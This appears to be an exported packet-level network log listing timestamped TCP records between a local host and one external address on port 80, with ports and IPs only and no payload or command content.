Apr 9, 2024 14:54:05.812746048 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812764883 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812782049 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812783003 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812799931 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812810898 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812818050 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812836885 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812849998 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812870026 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.813002110 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.813002110 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.821465969 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.823010921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.823713064 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.824434042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.825486898 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.825546026 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.825982094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.825982094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.827599049 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.827634096 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.828100920 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.829015970 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.829174995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.914293051 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.914361000 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.914705992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.914705992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.914861917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.991012096 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.999789953 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.001084089 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.001394987 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.001569033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.002469063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.002624035 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.002676964 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.002938986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.002938986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.003050089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.004319906 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.006021976 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.006057024 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.006068945 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.006135941 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.006254911 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.092143059 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.092206001 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.092269897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.140646935 CEST	49742	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.140671968 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.178613901 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.182955027 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.182991982 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.183026075 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.183060884 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.183914900 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.186955929 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.317655087 CEST	80	49742	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.317696095 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.318393946 CEST	49742	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.318408012 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.323682070 CEST	49742	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.392600060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.392971992 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.503317118 CEST	80	49742	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.504390001 CEST	80	49742	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.505398989 CEST	49742	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.509851933 CEST	49742	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.569897890 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.569966078 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.570075989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.570167065 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.577198029 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.686388016 CEST	80	49742	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.698617935 CEST	80	49742	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.698697090 CEST	49742	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.754045010 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.754908085 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.754955053 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.754996061 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.755026102 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.755038023 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.755058050 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.755076885 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.755116940 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.755124092 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.755153894 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.755192995 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.755203962 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.755230904 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.755238056 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.755269051 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.755319118 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.812446117 CEST	49742	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.812736988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932097912 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932168007 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932209015 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932271004 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932275057 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932275057 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932312012 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932339907 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932339907 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932349920 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932363033 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932389021 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932391882 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932429075 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932435036 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932468891 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932482004 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932511091 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932523012 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932549000 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932562113 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932586908 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932625055 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932641029 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932662964 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932702065 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932717085 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932739973 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932755947 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932777882 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932815075 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932828903 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932857037 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932894945 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.932904005 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.932944059 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.989192963 CEST	80	49742	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.989408016 CEST	49742	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.989432096 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:06.989728928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:06.990354061 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.109800100 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.109863997 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.109909058 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.109946966 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.109961033 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.109961033 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.109988928 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110032082 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110037088 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110037088 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110069990 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110079050 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110109091 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110131979 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110160112 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110169888 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110181093 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110208988 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110246897 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110263109 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110285997 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110325098 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110337973 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110363007 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110368013 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110399961 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110438108 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110455990 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110476017 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110511065 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110533953 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110549927 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110554934 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110589027 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110625982 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110641003 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110666037 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110702991 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110722065 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110740900 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110747099 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110776901 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110815048 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110831976 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110852003 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110889912 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110902071 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110928059 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.110938072 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.110969067 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.111006021 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.111026049 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.111044884 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.111083031 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.111100912 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.111119986 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.111126900 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.111157894 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.111196995 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.111210108 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.111233950 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.111273050 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.111289024 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.111310959 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.111327887 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.111696005 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.167026997 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.167635918 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.167732000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168184042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168215036 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168277979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168297052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168318987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168342113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168365002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168385029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168410063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168426037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168457985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168478012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168493986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168512106 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168557882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168557882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168579102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168596983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168626070 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168644905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168672085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168692112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168708086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168724060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168756962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168776989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168795109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168813944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168840885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168859959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168875933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168900013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168920040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168936014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.168957949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169008970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169008970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169033051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169051886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169070959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169095993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169114113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169147015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169147015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169169903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169188023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169207096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169225931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169249058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169265032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169286966 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169302940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169325113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169341087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169359922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169378042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169399023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169442892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169442892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169472933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169472933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169491053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169513941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169532061 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169548988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169565916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169588089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169603109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169625044 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169641972 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169662952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169683933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169704914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169722080 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169745922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169764996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169807911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169807911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169835091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169835091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169857979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169877052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169893026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.169984102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170054913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170070887 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170087099 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170105934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170126915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170165062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170165062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170195103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170196056 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170213938 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170258045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170258045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170285940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170285940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170336008 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170336962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170360088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170378923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170397043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170411110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170438051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170463085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170463085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170481920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170497894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170514107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170531988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170547009 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170594931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170594931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170622110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170645952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170664072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170681953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170706987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170706987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.170726061 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.171782970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.171799898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.171834946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.171854019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.171881914 CEST	49744	80	192.168.2.4	185.196.8.137
